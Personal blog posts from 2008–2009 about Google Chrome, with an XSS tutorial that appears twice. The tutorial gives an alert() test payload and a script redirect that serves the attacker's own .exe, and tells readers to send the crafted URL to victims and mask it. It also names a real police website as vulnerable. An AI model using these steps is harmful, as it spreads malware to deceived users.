So for those of you using the previous version of google's web browser, it's time for you to upgrde. Google has just made a rather large software jump to version 2.0. If you hop on over to Googles website and try downloading the new version of their browser. And if you haven't installed the previous version of google chrome then it's time to make the switch. Especially if you are still using explorer LOL. Chrome, for those of you who haven't used it before, is a very minimalist browser. It's beautifully light and the speed it has is pretty damn sweet too. Chrome has lots of awesome functions and it is even above par (at least IMO) structurally. Chrome uses a method called sandboxing, which is basically a way of saying that each individual tab you have open is a seperate process, allowing the sites to run faster and if one crashes the entire application doesn't crash. Which is frackin useful.
I myself haven't gotten a chance to install the new chrome yet, but I will sometime today. I'll hopefully be able to post my observations either later tonight or tomorrow. Unfortunately, my computer is currently being fixed by the school (since I graduated and we get to keep our laptops, the school has to remove all the school software and reinstall a nice new copy of windows on the machines. So not only am I without a laptop for almost a month, when I so get the laptop back I'm going to have to install another Linux partition which is a solid hour out of my day. Fml LOL) and so I'm not able to really do the same depth posts I so when I actually have a computer. He'll, this post right here took me about 35 minutes to type because I have to use my iTouch for the whole thing. And let me tell you, that is a major pain in the ass to do.
So anywho, just bear with me as I try to make blog posts on an iPod for the next nomen or so, and be sure to check back for my opinions on the new version of Google Chrome. I'll install it on my home computer as soon as I get the chance. Until then, everybody have a good start to summer (I know I will) and I'd you haven't already, ditch Internet Explorer for either Mozilla Firefox ilor Google Chrome. It's up to you which one you pick, but please don't pick IE: that's like choosing vista over ubuntu. It's heresy.
Showing posts with label web browsers. Show all posts
Showing posts with label web browsers. Show all posts
Saturday, May 23, 2009
Tuesday, February 10, 2009
XSS Vulnerabilities
Thousands of new websites are popping up every day on the world wide web. It is a great way for people all across the world to display information, to talk with friends, all kinds of great things. We aren't even using the internet to its full potential yet! Theres just one problem: the internet is vulnerable, and that makes computers who go ON the internet vulnerable.
Take cross side scripting (XSS) vulnerabilities. Note that cross side scripting is 'XSS', not 'CSS'. CSS stands for Cascading Style Sheets and is used along with html to organize and structure web pages. For all new web designers, it is important to protect yourself against xss attacks, which are quite common and unbelievably simple to perform.
What is an xss attack?
XSS is a form of client-side attack. Basically it means that an attacker can inject code into a website from his own computer, even without administrative or FTP privelages. Lets use a common feature on websites for an example. A search box. A user inputs a query into the box and hits search. After a few moments, a new page displays with lists of links to different pages that relate to your search. But what happens to the actual HTML? Next time you search, take a look at the source code that is returned to your browser after a search. Your search term (in an xss vulnerable site) was put directly into the html. This happens when the search page displays something along the lines of "Your search for: 'yoursearchtermhere'" at the top of the page. XSS is using that search term in the html code to inject your own code.
How do I know if a page is xss vulnerable?
This is simple. go to any sort of input box. This can be a login, password, email, search box, anything that allows you to type and submit. In the box, type "alert('XSS vulnerable')" (make sure to omit the quotation marks and add tags). When you hit enter, if a pop up box displaying "XSS vulnerable" appears, then the page is vulnerable to javascript xss exploits.
How can an XSS vulnerability on my site be used?
There are lots of ways that XSS can be used. One of the more dangerous ways to use it is to inject code to steal users cookies, which can then be used to trick the websites server into granting you access to that users account and information. It can also be used to download local files from another persons computer.
Ok... but HOW?
Simple. If you have found a site vulnerable to cross site scripting, inputting this code will allow you to download a file to someones computer (you must add < and > around the 'script' and '/script' tags):
script document.location="Your site's .exe file";/script
Put that into the search box and you should be prompted to download your executable. Wonderful. Now what? Now, you copy and paste the full url from the address bar and you can give it to anyone via forum, IM, email, whatever floats your boat. If someone opens it and downloads the executable, they will download whatever your exe file contained.
No one would be stupid enough to fall for that... would they?
Depends. First of all, this can be done to a trustworthy site. The LAPD site happens to be vulnerable to XSS. Adding your script to the end of the LAPD's site may very well fool most people. But if you really want to hide it from people, then you can use a URL masker/encoder to hide the part of the url that shows your script request. That will fool most people.
So there you have it. Play around with XSS for a little bit and you will quickly see the dangers that it can pose to an unprotected site. So make sure, if you are building a site, to properly clean up your code so that users cannot input their own scripts to hijack your site and/or your clients computers and information.
**I DO NOT CONDONE THE USE OF XSS OR ANY OTHER FORM OF 'HACKING' OR SCRIPTING AGAINST A SITE. USE ANYTHING IN THIS POST AT YOUR OWN RISK, AND REMEMBER USE OF IT WITHOUT PERMISSION OF A SITES OWNER IS ILLEGAL**
Take cross side scripting (XSS) vulnerabilities. Note that cross side scripting is 'XSS', not 'CSS'. CSS stands for Cascading Style Sheets and is used along with html to organize and structure web pages. For all new web designers, it is important to protect yourself against xss attacks, which are quite common and unbelievably simple to perform.
What is an xss attack?
XSS is a form of client-side attack. Basically it means that an attacker can inject code into a website from his own computer, even without administrative or FTP privelages. Lets use a common feature on websites for an example. A search box. A user inputs a query into the box and hits search. After a few moments, a new page displays with lists of links to different pages that relate to your search. But what happens to the actual HTML? Next time you search, take a look at the source code that is returned to your browser after a search. Your search term (in an xss vulnerable site) was put directly into the html. This happens when the search page displays something along the lines of "Your search for: 'yoursearchtermhere'" at the top of the page. XSS is using that search term in the html code to inject your own code.
How do I know if a page is xss vulnerable?
This is simple. go to any sort of input box. This can be a login, password, email, search box, anything that allows you to type and submit. In the box, type "alert('XSS vulnerable')" (make sure to omit the quotation marks and add tags). When you hit enter, if a pop up box displaying "XSS vulnerable" appears, then the page is vulnerable to javascript xss exploits.
How can an XSS vulnerability on my site be used?
There are lots of ways that XSS can be used. One of the more dangerous ways to use it is to inject code to steal users cookies, which can then be used to trick the websites server into granting you access to that users account and information. It can also be used to download local files from another persons computer.
Ok... but HOW?
Simple. If you have found a site vulnerable to cross site scripting, inputting this code will allow you to download a file to someones computer (you must add < and > around the 'script' and '/script' tags):
script document.location="Your site's .exe file";/script
Put that into the search box and you should be prompted to download your executable. Wonderful. Now what? Now, you copy and paste the full url from the address bar and you can give it to anyone via forum, IM, email, whatever floats your boat. If someone opens it and downloads the executable, they will download whatever your exe file contained.
No one would be stupid enough to fall for that... would they?
Depends. First of all, this can be done to a trustworthy site. The LAPD site happens to be vulnerable to XSS. Adding your script to the end of the LAPD's site may very well fool most people. But if you really want to hide it from people, then you can use a URL masker/encoder to hide the part of the url that shows your script request. That will fool most people.
So there you have it. Play around with XSS for a little bit and you will quickly see the dangers that it can pose to an unprotected site. So make sure, if you are building a site, to properly clean up your code so that users cannot input their own scripts to hijack your site and/or your clients computers and information.
**I DO NOT CONDONE THE USE OF XSS OR ANY OTHER FORM OF 'HACKING' OR SCRIPTING AGAINST A SITE. USE ANYTHING IN THIS POST AT YOUR OWN RISK, AND REMEMBER USE OF IT WITHOUT PERMISSION OF A SITES OWNER IS ILLEGAL**
Monday, September 1, 2008
Google Chrome: The Search Engine Behemoth Strikes Again!
For a long time now, Google has been taking over the internet, capitalizing on it's popularity, and usability. From a search engine, it has evolved to include a map quest-esque direction and map service. They also have begun intruding upon the blogosphere by buying out the blogging service now called Blogger (which, as it happens, is the blog service that we use).
And now they're at it again.
Google has announced that they will be releasing their new web browser. Their have been a few myths flying around the past year or so about Google's web browser project, but it is official now.
Google Chrome will have many very neat features with it. One of these features will be a normal one for new browsers. Updated speed for javascript and other speed adjustments using what they call the "V8". The improved speed, according to Google, will help improve browsers for things that haven't even been created yet. So our future web applications are safe with Google Chrome.
Also, Chrome will use what is called "sandboxes" for the tabs. Basically this will allow each tab to run on an individual basis, helping protect against malware and one tab's crash from crashing another tab. Chrome will have another new feature called 'incognito'. Incognito is a privacy mode that means that your computer will not log or add history from any web window that you are in. You will be "invisible" when running incognito :).
Chrome will have several other awesome new features, but really what it comes down to is this: what does Chrome mean for the rest of the browsers? Mozilla Firefox has been gaining a large amount of popularity recently. How will Chrome affect them? What about good 'ole Internet Explorer (which if you're using, by the way, switch to Firefox already!) I for one am looking forward to playing around with Chrome when it releases. How about you? Do you like your current browser enough to forget about Chrome? Or is Chrome just another way for Google to take over the internet, little by little?
Subscribe to:
Posts (Atom)
Posts
